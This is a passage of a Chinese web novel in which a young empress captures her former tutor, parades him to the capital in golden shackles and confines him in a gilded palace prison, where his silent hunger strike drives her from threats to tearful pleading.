诏书的最后一个字,那个冰冷的“钦此”,激起一圈又一圈的回响。 回响钻进顾云舟的耳朵里,震得他耳膜嗡嗡作响。 他站在原地,一动不动,。 他想笑。 真的,他很想放声大笑。 断其双腿,另赏白银十万两。 多好的买卖。 用两条腿,换十万两白银,外加一个万户侯的爵位。这笔账,连三岁小孩都会算。 他甚至能想象出,此刻大炎王朝的版图上,有多少亡命徒、多少官差、多少野心家,正两眼放光,摩拳擦掌,准备投入到这场名为“寻找顾云舟”的全民狂欢里。 她还真是……一点都没变。 不,是变得更彻底了。 那个曾经躲在他身后,听着三国故事,会因为一点点权谋算计而吓得小脸发白的女孩,如今已经学会了用最直白、最粗暴、最不讲道理的方式,昭告天下。 这个人,是我的。 谁也别想抢。 一股荒谬到极致的无力感,像冰水一样浇遍全身。他教会她如何成为一个帝王,如何运用权谋,如何平衡人心。 结果,她把所有学到的本事,都用在了怎么把他抓回去这件事上。 学得真好啊,我的陛下。 出师了。 顾云舟的嘴角扯动了一下,一个比哭还难看的笑容凝固在脸上。 他输了。 输得一败涂地。 不是输给靖王,不是输给朝堂上的老狐狸,也不是输给北境的十万铁骑。 他输给了这个游戏的底层逻辑。 输给了那个该死的,说着“祝您游戏愉快”的狗屁系统。 当你的对手直接掀了桌子,还顺便把人物位置存档给你回档了,你所有的智慧,所有的算计,都只是一个笑话。 破庙外的脚步声停了。 死一样的寂静笼罩下来。 顾云舟能听到自己的心跳声,扑通,扑通,像一面破鼓。 他深吸一口气强迫自己冷静下来,挪动僵硬的脚步,凑到墙壁的一处破洞前,向外望去。 只一眼,他刚刚升起的一点点侥幸,就碎成了齑粉。 外面站着的,不是他想象中的县城捕快,也不是普通的卫所官兵。 是一排排身着黑色重甲的骑士,沉默地肃立在月光下。他们封死了这座破庙所有可能的出口。 在他们的肩甲上,统一镌刻着一个狰狞的猛虎图腾。 虎豹骑。 大炎王朝最精锐的禁军,女帝的亲卫。 他们不是来抓捕的,他们是来……清场的。 为首的一名将领,身材魁梧得像一座铁塔,即便隔着厚重的铠甲,也能感受到那股扑面而来的压迫感。 镇山虎,虎豹骑指挥使。 他见过这个人,在女帝登基那天,就站在御座之侧,眼神像刀子一样,能把任何心怀不轨的大臣凌迟。 为了抓他一个手无寸铁的“帝师”,竟然直接动用了这种级别的军力。 这已经不是杀鸡用牛刀了。 这是用歼星炮打蚊子。 顾云舟苦笑着摇了摇头,退回到破庙中央。 跑? 往哪跑? 就算他现在肋生双翅,飞出去也会被射成刺猬。 他输了,输得明明白白。 就在他彻底放弃,准备坦然接受结局的瞬间。 一个清冷的,不带丝毫感情波动的声音,毫无征兆地,在他身后响了起来。 “先生,折腾了这么久,您也该累了。” 顾云舟浑身的汗毛,在这一瞬间,根根倒竖! 他猛地回头。 不知何时,一个黑衣人,如同从阴影中渗透出来一般,正静静地站在他身后三步远的地方。 他甚至没有听到一丝一毫的脚步声。 是玄鸟。 那个永远跟在女帝影子里的暗卫统领,那把最锋利,也最沉默的刀。 他的出现,比外面千军万马的包围,更让顾云舟感到绝望。 这意味着,在他被传送到这里的那一刻,甚至在他睁开眼之前,女帝的刀,就已经架在了他的脖子上。 从来,就没有任何逃跑的机会。 玄鸟看着顾云舟那张混合着震惊、愤怒和绝望的脸,眼神平静无波。 他没有动手,甚至连腰间的佩刀都没有碰一下。 他只是微微躬身,做了一个“请”的手势。 “陛下,等您很久了。” “请吧。” …… 请。 一个“请”字,粉碎了顾云舟最后的一丝挣扎。 他还能做什么呢? 跟玄鸟动手?他这身板,不够人家一根手指头碾的。 破口大骂?除了能让自己显得更像一条败犬,毫无意义。 他看着玄鸟,玄鸟也看着他。 良久,顾云舟长长地,长长地吐出了一口气。 那口气,吐尽了他所有的愤怒和不甘。 他什么也没说。 只是默默地整理了一下自己身上那件可笑的,洗得发白的粗布儒衫,掸了掸衣角上不存在的灰尘。 然后,他抬起脚,一步一步,坦然地,走出了这座见证了他开始与败落的破庙。 他已经做好了准备。 准备迎接刀剑,准备迎接镣铐,准备迎接任何形式的羞辱。 然而,当他走出庙门,沐浴在清冷月光下的那一刻,预想中的一切都没有发生。 没有刀剑相向。 没有粗暴的喝骂。 取而代代之的,是“哗啦”一声整齐划一的金属摩擦声。 以镇山虎为首,在场的所有虎豹骑士兵,动作整齐划一,单膝下跪。 冰冷的铁甲跪在坚硬的土地上,发出的闷响声,震人心魄。 紧接着,一个足以掀翻山谷的洪亮呼声,冲天而起。 “恭迎帝师回京!” “恭迎帝师回京!” 声音里,没有愤怒,没有鄙夷,只有一种近乎狂热的“尊敬”。 这荒诞的场面,狠狠地刺进了顾云舟的心脏。 杀人,还要诛心。 好,好得很。 玄鸟从他身旁走过,手中不知何时多了一件斗篷。 那是一件用金线织就的黑色大氅,内衬是火狐之裘,华贵得不像凡品。 她亲手,将这件斗篷,披在了顾云舟的肩上,遮住了他那一身破烂的儒衫。 “先生,夜深露重,当心着凉。”玄鸟的声音依旧平淡。 紧接着,两名身形高挑,面容冷峻的凤卫,捧着一个紫檀木的托盘,从队列中走出,来到顾云舟面前。 托盘上,静静地躺着一副镣铐。 一副纯金打造的精美到不像刑具,反倒像一件传世艺术品。 在火把的光芒下闪烁着奢靡的光。 镣铐的接口处,被打磨得无比光滑,甚至还体贴地包裹了一层柔软的丝绸,生怕会磨伤了手腕。 顾云舟低头看着这副为他量身定做的“礼物”,沉默了。 他还能说什么? 夸她有品位? 还是该夸她想得周到? 玄鸟没有催促,只是静静地等着。 顾云舟缓缓地,抬起了自己的双手。 “咔哒。” 一声轻响。 轻轻地,锁住了他的手腕。 不重,甚至有些温润。 却比万钧山岳,还要沉重。 “先生,请上车。” 玄鸟再次做了一个“请”的手势,指向不远处。 那里,停着一辆马车。 一辆巨大得有些夸张的马车。车身由最坚硬的铁木打造,车壁厚重,窗户极小,且用精铁铸成的栏杆封死。 可外部,却雕刻着繁复华美的云纹,四角悬挂着明珠,连车轮的轮毂,都用秘银包裹。 奢华与禁锢,完美地融合在了一起。 顾云舟没有再看任何人一眼,他迈开步子,走向那辆属于他的囚车。 车门打开。 里面的景象,让他瞳孔微微一缩。 柔软的云狐软垫,角落里的小几上,甚至还温着一壶热茶,旁边摆着几碟他最爱吃的点心。 她把他所有的喜好,都记得清清楚楚。 然后,用这些喜好,为他打造了一座牢笼。 顾云舟踏上马车,坐了进去。 车门在他身后,缓缓关闭。 “砰。” 一声闷响,隔绝了外界所有的光。 车厢内,陷入了黑暗。 只有茶香和点心的甜味,在空气中幽幽浮动。 车轮,开始缓缓转动。 碾过泥土,碾过石子,朝着神京的方向,坚定不移地驶去。 黑暗中,顾云舟缓缓闭上眼睛,靠在柔软的垫子上。 他的脸上只剩下的平静。 (这次被抓后就是权谋对弈线剧情了,不会再写跑路了哦) 第九十九章 归京 车厢内,一片伸手不见五指的黑暗。 顾云舟靠在柔软的垫子上,那壶温热的茶散发着他最熟悉的清香,那几碟点心是他过去最喜欢的口味。 她记得他的一切。 然后用这一切,为他打造了一座最舒适,也最坚固的囚笼。 这份体贴,比任何酷刑都更让人作呕。 他缓缓闭上眼睛,脸上没有任何表情,心中却早已掀不起半点波澜。 愤怒?绝望? 不,都不是。 当一个人被一个疯子用匪夷所思的规则按在地上反复摩擦后,只剩下平静。 就像现在。 游戏,已经重新开始了。 只不过这一次,他很清楚,他要面对的,是一个了解他所有弱点,手握整个天下,并且已经彻底疯掉的……人。 囚车的行进速度并不快,甚至可以说得上是缓慢。 与其说是押送,不如说是一场招摇过市的巡游。 队伍每到一处州县,当地的文武百官,无论品级高低,都必须率领全城士绅,出城三十里跪迎。 场面浩大,仪仗森严。 不知道的,还以为是哪位君王在巡视天下。 顾云舟透过车窗那精铁铸就的栏杆缝隙,冷眼看着外面。 第一个县城。 县令是个四十多岁的胖子,曾经为了求见他一面,在帝师府门前顶着烈日站了三个时辰。如今,他跪在地上,头颅死死贴着地面,肥硕的身躯抖得像筛糠。 第二个郡城。 郡守是个以铁面无私著称的老头,曾经在朝堂上为了一个税收政策跟他拍着桌子对骂。如今,他跪在人群的最前方,花白的胡子沾满了泥土,连大气都不敢喘一口。 比看猴戏还无聊。 顾云舟收回目光,重新闭上眼睛。 他知道,这些人跪的不是他顾云舟。 他们跪的是那个能让他顾云舟坐在这辆囚车里,还能享受如此“礼遇”的滔天权势。 他们恐惧的,是那个端坐在神京皇宫之内,用一道旨意就能让整个大炎王朝变成她私人游乐场的年少女帝。 除了官员,道路两旁还跪满了被官兵组织起来的百姓。 他们不像官员那样恐惧得发抖,更多的是一种茫然和敬畏。 顾云舟能从那些粗布麻衣的缝隙中,看到一张张朴实的脸。他们或许不知道发生了什么,但他们认得那面绣着“帝师”二字的旗帜。 是这位帝师,给了他们土地。 是这位帝师,让他们吃上了饱饭。 是这位帝师,结束了连年的战乱。 可如今,这位如同神明般的帝师,却被关在了一辆囚车里。 敬畏与恐惧,在这些普通百姓心中交织成一种诡异的沉默。他们不敢抬头,只是将头埋得更深,生怕触怒了那位。 这才是最高明的诛心之术。 让他亲眼看看,他曾想拯救的,他曾为之奋斗的,如今都成了他的点缀。 在一处驿站休整时,夜已经深了。 顾云舟被“请”进了一间守卫森严的院落。房间里依旧是他喜欢的布置,甚至连被褥都是他习惯的软棉。 他坐在窗边,听着外面凤卫换岗的脚步声。 隔壁房间,两个负责看守的凤卫大概以为他已经睡下,压低了声音在交谈。 “听说了吗?陛下听闻先生在落霞谷被寻回,竟当场喜极而泣,在太和殿上笑了整整半个时辰。”一个声音年轻的凤卫说道,语气里带着一丝惊叹。 “何止是笑。”另一个声音更沉稳的凤卫接话,“陛下当即下令,让工部日夜赶工,将皇宫西侧的静心湖整个填平,说要为先生建一座‘忘忧阁’,里面的所有陈设,都要按帝师府的原样来。” “天呐,填平静心湖?那可是太祖皇帝留下的景致……陛下对先生,当真是……” “是啊。”沉稳的声音里带着一丝不易察 的寒意,“可我也听说,就在陛下下令建‘忘忧阁’的同一天,也下了一道密旨。” “什么密旨?” “当初先生能从神京逃脱,洛城守将周信,阳奉阴违,故意放行……陛下下令,将周信将军一家三百余口,秘密赐死,鸡犬不留。” 年轻的凤卫倒吸一口凉气,再也不敢说话了。 窗内的顾云舟,瞳孔猛地一缩。 一股寒意,顺着脊椎骨,瞬间爬满了全身。 周信…… 那个在雁门关外,曾与他并肩作战,那个在他面前拍着胸膛说“先生但有吩咐,末将万死不辞”的耿直汉子。 死了。 因为他。 她用最温柔的手段,说着最狠的话。她可以为他建造一座举世无双的宫殿,也可以为了他,毫不犹豫地屠戮上百条无辜的生命。 她的爱,早就和她的权力一样,扭曲,疯魔,不容任何瑕疵。 顾云舟缓缓吐出一口气,那股气,在微凉的夜里,竟带着一丝白霜。 他慢慢地站起身,走到桌边,端起那杯早已凉透的茶,一饮而尽。 茶水冰冷,直入心脾。 很好。 这笔账,他记下了。 越靠近神京,气氛越是肃杀。 当囚车那用秘银包裹的轮毂,碾上神京城外那坚硬的青石板官道时,顾云舟敏锐地察觉到了周围的变化。 没有了跪迎的官员,也没有了围观的百姓。 天地间,一片死寂。 囚车缓缓驶向那座他曾亲手策划夺下的雄伟城门。 城门大开。 城门内,是一座被彻底清空的城市。 万民空巷,鸦雀无声。 店铺关门,街巷无影。 只有风吹过长街,发出萧瑟的呜咽声。 整个神京,这座容纳了数百万人口的天下第一雄城,此刻,仿佛变成了一座巨大的,静默的舞台。 而他,是这场哑剧中,唯一的观众。 也是唯一的主角。 囚车没有在任何地方停留。 没有去天牢,那里关押的是罪犯,而他不是。 没有去大理寺,那里审问的是犯人,而他不需要审问。 更没有回帝师府,那里,只是他过去的一个住所。 囚车穿过一道又一道熟悉的宫门,碾过光洁如镜的汉白玉广场,径直驶向了皇宫的最深处。 那片他从未踏足过的,属于帝王的禁地。 他知道,真正的笼子,就在前方。 终于,马车停了下来。 外面传来玄鸟恭敬到没有一丝情绪的声音。 “先生,到了。” “砰。” 一声轻响,那扇沉重的铁木车门,被人从外面缓缓拉开。 刺目的阳光涌了进来,让久处黑暗的顾云舟下意识地眯起了眼睛。 等他适应了光线,看清眼前景象时,呼吸,有那么一瞬间的停滞。 囚车外,不再是冰冷的地面。 而是一条长长的,铺着猩红色地毯的白玉阶梯。 阶梯两旁,每隔三步,就站着一名身披金甲,手持长戟的宫廷禁卫,一直延伸到视野的尽头。 而在阶梯的顶端,一座巍峨华美,流光溢彩的宫殿,静静地矗立在那里。 殿前,一道纤细而又无比熟悉的身影,正背对着他,静静地站着。 她穿着一身繁复的黑色帝王礼服,金线绣成的凤凰在裙摆上展翅欲飞,十二旒的冕冠遮住了她的容颜,只留给世人一个孤高而又威严的背影。 仿佛感受到了他的目光,那个身影,缓缓地,转了过来。 依旧是那张他亲手从懵懂少女,雕琢成绝代帝王的脸。 只是此刻,那张脸上,没有了朝堂之上的冷酷威严,也没有了面对他时的依赖脆弱。 取而代之的,是一种近乎天真的,纯粹的,灿烂的笑容。 她看着他,看着他手腕上那副华美的黄金镣铐,看着他从囚车里走出来。 清脆悦耳的声音,带着一丝久别重逢的雀跃,在空旷的广场上,轻轻响起。 “先生,你回来了。” 她顿了顿,歪了歪头,笑容愈发甜蜜。 “欢迎回家。” 第一百章 不见天日 顾云舟看着她。 看着那张他曾以为纯白如纸,却被自己亲手涂满权谋与杀伐的脸。 看着那双他曾以为清澈见底,如今却盛满疯魔与占有的眼。 她的笑容灿烂天真,。 欢迎回家。 家? 他没有家了。 是她,亲手毁了他的家,然后又为他建了一座名为“家”的笼子。 顾云舟一言不发。 他只是静静地看着她,目光穿透那身礼服,仿佛要看清那副皮囊之下,究竟是怎样一个扭曲的怪物。 萧青鸾的笑容没有丝毫变化。 她享受着他的注视,享受着他此刻的沉默。 这沉默,是无声的屈服,是败者的默认。 她满意地转过身,头也不回地走进了那座宫殿。 她不需要带路。 因为从今往后,这里,就是他的全世界。 一个满脸褶子笑得像朵菊花的老太监,迈着小碎步从殿门里迎了出来,躬身行礼,姿态谦卑。 “先生,一路辛苦了。陛下特意为您建了这处殿阁,让您静心休养,名曰‘忘忧阁’。” 顾云舟的视线从殿门上的烫金大字上扫过。 忘忧阁。 字是她亲笔所题,笔锋凌厉,带着一股不容置喙的霸道。 忘忧? 他心中冷笑。 我看是忘生。 他抬脚,迈上阶梯 他走进了这座为他而建的地方。 殿内,没有想象中的金碧辉煌,反而透着一股雅致。 可这股雅致,却让顾云舟浑身的血液都感到发冷。 正对门口的墙上,挂着一幅他曾醉后随手画的《溪山行旅图》的仿作。 角落里,摆着一架古琴,是他曾对她说起过,早已失传的“焦尾”。 书架上,整整齐齐码放着的全是孤本善本,每一本,都是他曾在御书房的藏书目录上,用朱笔圈出的珍品。 庭院里,种着他最偏爱的青翠竹林。 甚至连书案上摆放的笔墨纸砚,都是他最惯用的那个。 这里的每一个细节,都精准地复刻了他的喜好。 这里的每一件陈设,都在无声地炫耀着一种恐怖的洞察力。 她像一个无处不在的影子,把他所有的习惯所有的偏好,都摸得一清二楚。 然后,她把这些东西,全都变成了装饰品。 这才是最变态的。 一个声音从身后传来,是那个叫喜公公的老太监。 “先生,陛下说了,您在这里,什么都不用想,只管休养。” 顾云舟走到一扇巨大的落地窗前。 窗外是蓝天白云,是修剪整齐的皇家园林。 他伸出手,指节轻轻敲了敲。 咚。 一声闷响。 不是玻璃,也不是水晶。 他想起来了,这叫“琉璃晶”,一种用在军械库和国库上的特殊材料,看似透明,却比百炼精钢还要坚固。 从这里能看到外面的世界。 但永远也走不出去。 这真是一个完美的观景式监狱。 喜公公亦步亦趋地跟在他身后,满脸堆笑地展开一卷明黄色的丝绸卷轴。 “先生,这是陛下亲自为您拟的起居单子。您看,每日三餐,都有御膳房按您的口味备下九九八十一道菜。四季衣物,都由江南最好的六十四位绣娘提前赶制。您每日看什么书听什么曲,陛下也都为您安排好了。” 他把卷轴凑近了些,谄媚地笑着。 “您瞧,陛下多疼您啊。” 顾云舟没有去看那卷轴。 他只是缓缓转过身,用平静的眼神,看着这个老太监。 喜公公脸上的笑容,有那么一瞬间的僵硬。 他从那双眸子里,看不到任何情绪。 什么都没有。 就像一潭不见底的水。 这让他心里莫名地有些发毛。 “若无他事,退下。”顾云舟淡淡地开口,声音嘶哑。 “是,是,奴才告退。” 喜公公如蒙大赦,躬着身子,一步步倒退出去,直到退出殿门,才敢转身快步离开。 仿佛身后有什么洪水猛兽。 夜色,很快笼罩了整座宫殿。 两排美貌的宫女鱼贯而入,为他布菜,为他更衣,为他点上安神的熏香。 她们都低着头,不敢看他一眼,动作轻柔得像一群没有灵魂的木偶。 顾云舟一言不发地配合着。 他吃了饭,换了衣,坐在空旷得能听见回声的书房里。 直到最后一缕天光消失在地平线上。 宫女们悄无声息地退了出去。 然后,他听到了。 那扇唯一的大门,开始发出令人牙酸的声音。 “哐当” 是巨型门栓落下的声音。 “吱嘎” 是碗口粗的铁杠横上的声音。 “咔哒,咔哒,咔哒……” 是一连串复杂锁芯转动的声音。 一声又一声,回荡不休。 声音最终停歇。 整个世界,彻底安静了。 顾云舟缓缓站起身,走到那扇巨大的琉璃晶窗前。 他看着窗中那个狼狈的自己,看着那双在黑暗中亮得惊人的眼睛。 周信一家。 李源战死的脸。 翠儿倒下的身影。 还有她那张天真又残忍的笑脸。 一幕幕,在脑海中闪过。 最终,所有的画面都定格在他手腕上那镣铐上。 他慢慢地抬起手,指尖轻轻触碰着窗上冰冷的倒影。 第一百零一章 君臣逆位 忘忧阁的第一缕晨光,是透过那面巨大的琉璃晶窗照进来的。 光线很干净,照在地上名贵的地毯上,照在紫檀木的书案上,也照在顾云舟一动不动的身上。 他坐了一夜。 从昨晚开始他就维持着这个姿势。 喜公公带着两排宫女进来时,看到的就是这副景象。 桌上的九九八十一道菜,一口未动,已经凉透了。 床榻上名贵的丝绸被褥,没有一丝褶皱。 这位曾经权倾朝野的帝师,如今的阶下之囚,就这么静静地坐在哪。 喜公公心里咯噔一下,差点以为这位爷想不开,自己把自己给坐死了。 他硬着头皮,脸上挤出比哭还难看的笑容,躬着身子凑上前。 “先生,该用早膳了。陛下吩咐了,今儿的早膳有您最喜欢的江南小点心……” 顾云舟没有反应。 他的眼睛看着窗外,眼神空洞,没有焦点。 宫女们战战兢兢地将冷掉的菜肴撤下,又捧上新的。 香气四溢。 顾云舟依旧一动不动。 他不是在绝食,也不是在抗议。 他就只是……单纯地不想动。 不想吃饭,不想喝水,不想看书,不想听琴。 这种死寂的沉默,比任何动作都更让人心头发毛。 喜公公的冷汗顺着额角往下淌,他知道,这位爷是在用最安静的方式,扇所有人的耳光。 尤其是,扇那位的耳光。 一整个上午,忘忧阁里安静得可怕。 宫女太监们进进出出,脚步轻得像猫,连大气都不敢喘。 直到傍晚。 忘忧阁那扇沉重的大门,再一次被打开。 不是喜公公,也不是送餐的宫女。 来的人是萧青鸾。 她没有穿那身威严的黑色龙袍,而是换了一袭淡青色的便服,长发用一根简单的玉簪挽起。 脂粉未施,眉眼干净。 像极了三年前,两人在落霞谷那间破庙里初遇时,她褪去满身泥污后的模样。 一个天真烂漫,带着几分怯懦的少女。 “你们都下去。” 她的声音很轻,却带着不容置疑的命令。 喜公公和一众宫女如蒙大赦,连滚带爬地退了出去。 沉重的殿门再次关上,将这里与外界彻底隔绝。 萧青鸾手里提着一个精致的食盒,她走到顾云舟面前的桌案旁,将食盒里的几样小菜一一摆了出来。 一碟醋溜鱼片,一碗碧梗粥,还有两样他亲手教她做过的家乡小炒。 菜色简单,甚至有些寒酸,与这宫殿的奢华格格不入。 她脸上带着一丝讨好的,近乎天真的笑容,声音轻快得像一只小黄鹂。 “先生,你看,这是我亲手为你做的。下了朝就一直在御膳房忙活,差点把太监总管给急死。” 她拿起筷子,夹了一片鱼肉,递到他嘴边,语气里满是期待。 “你尝尝看,我的手艺有没有退步?” 她的表演天衣无缝。 仿佛他们之间从未有过那张传遍天下的追捕令,也没有过周信和李源的死。 仿佛他不是一个囚犯,她也不是那个将他囚禁于此的帝王。 只是一场寻常得不能再寻常的,学生给先生献宝的温馨戏码。 顾云舟的视线,始终落在窗外。 他没有看她,也没有看那些菜。 他的沉默,重重压在萧青鸾的心头。 她精心营造的温馨气氛,在这片沉默中,开始一寸寸地碎裂。 她举着筷子的手,在半空中微微有些颤抖。 脸上的笑容,也一点点僵硬,最后彻底消失。 她缓缓放下筷子,走到顾云舟的面前,蹲下身子,仰头看着他。 她的眼中,迅速泛起了水汽。 声音里带上了一丝恰到好处的委屈,和一丝恐慌。 “先生……你为什么不理我?” “你还在生我的气,对不对?” 她伸出手,小心翼翼地,想要去碰触他放在膝上的手,却又在即将碰到的时候停住,仿佛怕被烫到一般。 “我……我只是太害怕了……我怕你走了,就再也不回来了……我怕你身边会有别人,像那个翠儿一样,她们会给你擦汗,会给你做饭,会把你从我身边抢走……” 她的声音越说越低,带着哭腔,像个做错了事,却又不知道错在哪里的孩子。 “先生,我错了,你原谅我好不好?只要你不离开我,你让我做什么都可以……” 这番话,若是让任何一个男人听了,怕是心都要化了。 一个女帝,如此卑微地向你乞求原谅,这是何等的殊荣。 然而,顾云舟终于有了反应。 他缓缓地,缓缓地转过头,垂下眼帘。 这是他被捕之后,第一次正眼看她。 在目光注视下,萧青鸾所有的表演,所有的委屈和眼泪,都瞬间凝固在了脸上。 她感觉自己像一个脱光了衣服的小丑,上演了一场滑稽无比的独角戏。 然后,她听到了他的声音。 沙哑,又带着疏离。 “陛下。” 他开口,吐出两个字。 萧青鸾的心,猛地一沉。 他叫她,陛下。 不是青鸾,不是小鸾,而是陛下。 一个冰冷、官方、足以隔开万水千山的称呼。 顾云舟看着她那张写满错愕和惊慌的脸,继续用那种没有丝毫波动的语调,一字一句地说道: “君臣有别,请自重。” (晚上再更一张,别错过哦。) 第一百零二章 心病 “君臣有别,请自重。” 这几个字,像针,一瞬间刺穿了萧青鸾所有的伪装和心防。 她脸上的血色褪得一干二净,那双刚刚还蓄满泪水,企图博取同情的眼眸,此刻只剩下无措。 她像一个被人当众扒光了衣服的小丑,僵在原地,连呼吸都忘了。 顾云舟没有再看她。 他的视线重新投向窗外。 羞辱,莫过于此。 萧青鸾嘴唇哆嗦着,想说什么,却一个字也吐不出来。最终,她猛地站起身,踉跄着倒退两步,几乎是逃也似的冲出了忘忧阁。 沉重的玄铁大门轰然关闭。 世界,重归死寂。 桌上那些她亲手做的小菜,热气散尽,渐渐冰凉,就像她那颗滚烫的心。 顾云舟始终没有回头。 …… 第二天,早膳送来了。 纹丝未动。 午膳送来了。 纹丝未动。 晚膳送来了。 纹丝未动。 连带着送来的清水,都保持着原来的水位。 忘忧阁的总管太监喜公公,脸上的笑容从僵硬变成了惊恐。 他守在门外,急得像被架在火上烤的蚂蚁,在原地不停地转圈,额头的冷汗把他的帽子都浸湿了。 “侯爷……顾先生……祖宗,我滴祖宗唉!”喜公公隔着门缝,声音都带上了哭腔,“您就当可怜可怜奴才,用一点吧?一口,就一口也行啊!” 里面没有任何回应。 喜公公想冲进去,可没有陛下的旨意,他不敢。 想强行灌食,他更不敢。 这位爷现在可是陛下的心尖子,眼珠子。别说灌食了,就是掉根头发,他全家老小的脑袋都得和路易一样。 第三天。 顾云舟依旧枯坐在窗前。 他的嘴唇开始干裂,脸色苍白得吓人。 可他的背脊,却依旧挺得笔直。 忘忧阁内的气氛已经压抑到了极点。宫女太监们走路都踮着脚尖,大气不敢喘一口。 他们伺候过无数贵人,见过寻死觅活的,见过撒泼打滚的,却从未见过这样的人。 不吵不闹,不言不语。 用最平静的方式,进行着反抗。 疯了,这个男人彻底疯了! 终于,在第三天黄昏,那扇沉重的玄铁大门被人从外面一脚踹开。 “砰!” 巨响震得整个阁楼都在颤抖。 萧青鸾一身玄色龙袍,头戴紫金冠,满脸煞气地冲了进来。 她身后,喜公公扑通一声就跪在了地上,浑身抖得像筛糠。 “顾云舟!” 萧青鸾的声音不再是前几日的轻柔,而是带着怒火。 她手里端着一碗热气腾腾的参汤,重重地砸在顾云舟面前的桌案上,滚烫的汤汁溅出,烫得她手背瞬间红了一片,她却毫无所觉。 “你给朕喝下去!”她指着那碗汤,厉声喝道。 顾云舟眼皮都没抬一下,稳如老黄。 他的无视,彻底点燃了萧青鸾。 “你以为用死就能威胁朕吗?”她气得浑身发抖,胸口剧烈起伏,“朕告诉你,没用!你若是死了,朕就下令把周信的家人,苏长青的门生,还有那个叫李源的死士全家,统统抓来给你陪葬!” “朕还要把你做成一具人偶,就摆在这忘忧阁里,穿上你最喜欢的白衣,让你千秋万代,永生永世,都只能陪着朕!” 她的声音尖利而刻毒。 然而,回应她的,依旧是死一样的沉默。 她所有的威胁,都像拳头打在了一团棉花上,毫无作用。 那股滔天的怒火,在无声中,渐渐熄灭,转而化为无力感。 她怕了。 她是真的怕了。 她可以囚禁他的身体,却无法掌控他的意志。她可以给他全世界,却给不了他想要的自由。她可以杀光所有忤逆她的人,却唯独不能让他死。 他用自己的命,给她造了一个无解的死局。 萧青鸾脸上的戾气一点点褪去,取而代之的是一种近乎崩溃的哀求。 她强行让自己的声音软下来,变得像是在商量。 “先生……” 这个称呼一出口,她自己都觉得无比讽刺。 “只要你肯吃东西,你想要什么,朕……我都可以给你。”她语无伦次地开始开价码,“你想看南方的稻田,我明天就让人在宫里为你开垦一片。你想看北境的雪山,我派人去给你运冰山过来。你想看书,我把稷下学宫的藏书都搬进忘忧阁……” 她一口气说了很多,见顾云舟还是没有反应,她终于抛出了最后的筹码。 “只要你活下去,除了自由,一切都可以谈。” 这句话,是她的底线。 也是她最深的恐惧。 话音落下,顾云舟终于有了一丝微不可查的动静。 他的嘴角,似乎向上牵动了一下,又似乎没有。 快到让人无法捕捉。 他听见了。 他只是,不屑。 这个微小的表情,像最后一根稻草,彻底压垮了萧青鸾紧绷的神经。 她所有的伪装和仪态,在这一刻,轰然崩塌。 “哇” 一声压抑不住的痛哭,从她的喉咙里迸发出来,不再是皇帝,而是一个被逼到绝境的女孩。 她踉跄着扑上前,紫金冠歪到了一边,华丽的龙袍拖在地上,沾满了灰尘。 她扑通一声跪倒在顾云舟的脚边,双手死死抓住他的衣袍,将脸深深地埋了进去,放声大哭。 “先生……求求你……不要这样对我……我错了……我真的错了……” 她的哭声撕心裂肺,充满了无助和绝望。 殿外的喜公公和一众宫人听到这哭声,一个个把脑袋埋得更低了,恨不得自己当场聋掉瞎掉。 天呐,陛下……陛下竟然做出这样的事! “我只是太害怕了……我什么都没有了,我只有你了……你要是死了,我该怎么办……这江山,这皇位,我守着还有什么意思……” 她语无伦次地哭诉着,眼泪鼻涕蹭了顾云舟一身。 “先生……求求你吃一点东西……只要你活下去……我什么都听你的……真的……我以后再也不关着你了……你想去哪就去哪……只要……只要别离开我……” 她已经彻底乱了方寸,连自己最不能退让的底线都脱口而出。 整个大殿,只剩下她那令人心碎的哀求和哭泣。 顾云舟垂着眼,能看到她剧烈颤抖的肩膀,和那顶从发髻上滑落到一旁的紫金冠。 权力的象征,此刻就像个可笑的玩具,被它的主人随意丢弃。 他戴着镣铐的手,在宽大的袖袍下,缓缓攥紧。 金属的边角深深嵌入皮肉,带来一阵清晰的刺痛。 但这刺痛,却让他混沌的脑子,前所未有的清醒。 他看着这个伏在自己膝上,哭得像个孩子的女帝,这个亲手将他拖入地狱的学生。 他知道。 他赢了第一步。 就在萧青鸾哭到几乎要昏厥过去的时候,她忽然听到头顶传来一个沙哑干涩的声音。 那声音很轻,却像一道惊雷,瞬间贯穿了她的耳膜。 “水。” 第一百零三章 条件 她猛地抬起头,满是泪痕的脸上写满了不敢置信和狂喜。 “先生……你……你说话了?” 她像是怕惊扰了什么,连声音都在发抖。 殿外大气不敢喘的喜公公,腿一软,差点直接给跪了。这位祖宗终于肯开口了!再这么僵下去,他们这忘忧阁上下,有一个算一个,都得提前去跟阎王爷报道! 顾云舟没有再理会她,眼皮沉重地耷拉着,仿佛刚才那个字耗尽了他全部的力气。 “快!快扶先生起来!”萧青鸾如梦初醒,也顾不上什么帝王仪态了,手忙脚乱地就要去搀扶。 喜公公连滚带爬地冲了进来,带着两个小太监,七手八脚费了好大的劲,才将软得像一滩烂泥的顾云舟扶到床头,用厚厚的锦被垫在他身后。 整个过程,顾云舟一声不吭,任由他们摆布。他手腕上那副镣铐随着动作发出轻微的碰撞声,在这死寂的大殿里,刺耳得让人心慌。 “粥!快把温着的粥端来!”萧青鸾对着外面尖声喊道,声音里还带着哭过后的嘶哑。 很快,喜公公亲自捧着一个托盘,低着头,用眼角的余光飞快地瞟了一眼床上那位爷,然后将托盘呈给萧青鸾。 一碗熬得烂熟,散发着淡淡米香的白粥。 萧青鸾亲自接过,甚至没让宫人试毒。她端着碗,走到床边,用白玉汤匙小心地舀了一勺,吹了又吹,直到感觉不到一丝热气,才颤巍巍地递到顾云舟嘴边。 她的姿态卑微,眼中满是乞求。 “先生,吃一点,就吃一点好不好?” 然而,顾云舟没有张嘴。 他甚至没有看她,也没有看那碗粥。他的目光穿过眼前这个为他哭的人,落在了窗外。 那扇用琉璃晶封死的窗户,将外面的天空切割成一块规整的毫无生气。 就像他此刻的处境。 大殿内的空气再次凝固。 喜公公的心又提到了嗓子眼,他感觉自己今天一天经历的大起大落,比过去几十年加起来都多。 就在萧青鸾的手臂都开始发酸,脸上的血色一点点褪去时,顾云舟终于开口了。 他的声音依旧沙哑干涩,却比刚才清晰了许多,带着一种不容置疑的平静。 “我可以吃。” 萧青鸾的眼睛瞬间亮了,像是黑夜里骤然点亮的星辰。 “但有一个条件。” 这六个字,像一盆冰水,兜头浇下。 萧青鸾脸上的喜悦僵住了。但她只是迟疑了一瞬,便立刻点头如捣蒜,急切地说道:“什么条件?别说一个,一百个一千个朕都答应你!只要先生肯活下去!” 她又变回了那个“朕”,仿佛这样能给她一点点可怜的底气。 顾云舟将目光从窗外收回,转向了她。 